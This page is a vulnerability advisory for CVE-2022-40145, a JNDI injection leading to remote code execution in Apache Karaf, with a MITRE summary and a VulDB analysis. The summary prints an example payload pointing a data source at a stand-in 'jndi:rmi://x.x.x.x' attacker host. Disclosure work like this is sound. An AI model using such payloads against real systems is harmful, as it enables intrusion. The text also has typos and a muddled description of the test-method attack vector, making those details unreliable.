CVE-2022-40145 in Karaf
Summary
by MITRE • 12/21/2022
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
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Analysis
by VulDB Data Team • 04/15/2025
The vulnerability CVE-2022-40145 represents a critical remote code execution flaw in Apache Karaf that stems from insufficient input validation in the JDBC JNDI URL handling mechanism. This weakness exists within the jaas.modules.src.main.java.org.apache.karaf.jaas.modules.jdbc.JDBCUtils#doCreateDatasource function where the system performs an InitialContext.lookup(jndiName) operation without implementing proper filtering or sanitization of the JNDI name parameter. The vulnerability is particularly dangerous because it allows attackers to manipulate the data source configuration through a simple parameter modification that can be achieved by changing the JDBCUtils.DATASOURCE value from a legitimate OSGi data source reference to a malicious JNDI RMI URL.
The technical exploitation of this vulnerability follows a well-established pattern that aligns with CWE-94, which describes weaknesses related to the execution of code that is not properly controlled or filtered. Attackers can leverage this flaw by controlling a target LDAP server and constructing malicious JNDI URLs that point to their own RMI endpoints. The specific attack vector involves modifying the JdbcLoginModuleTest#setup method where the data source configuration can be altered from the standard "osgi:" prefix to a "jndi:rmi://" scheme that references attacker-controlled infrastructure. This manipulation enables the system to perform JNDI lookups against the malicious server, which can then respond with malicious Java serialized objects that trigger remote code execution on the target Apache Karaf instance.
The operational impact of this vulnerability extends beyond simple code execution, as it provides attackers with complete control over affected Apache Karaf instances. According to ATT&CK framework, this vulnerability maps to T1059.007 for the execution of code through Java deserialization and T1133 for the use of external remote services. The affected versions include all Apache Karaf installations up to 4.4.1 and 4.3.7, making this a widespread concern for organizations that have not yet upgraded their systems. The vulnerability is particularly concerning because Apache Karaf serves as a core component in many enterprise environments, providing application container and management capabilities that are critical to business operations.
Organizations should immediately implement mitigations to address this vulnerability, with the primary recommendation being the upgrade to Apache Karaf version 4.4.2 or 4.3.8, which contain the necessary patches. Additional defensive measures include implementing network segmentation to restrict access to JNDI lookup endpoints, configuring firewalls to block outbound connections to known malicious RMI and LDAP servers, and implementing strict input validation for all JNDI URL parameters. The vulnerability also highlights the importance of following security best practices such as the principle of least privilege, where JNDI lookups should be restricted to trusted domains only, and the implementation of secure coding practices that prevent injection attacks through proper parameter validation and sanitization. Organizations should also consider implementing monitoring and detection mechanisms to identify suspicious JNDI lookup patterns that may indicate exploitation attempts.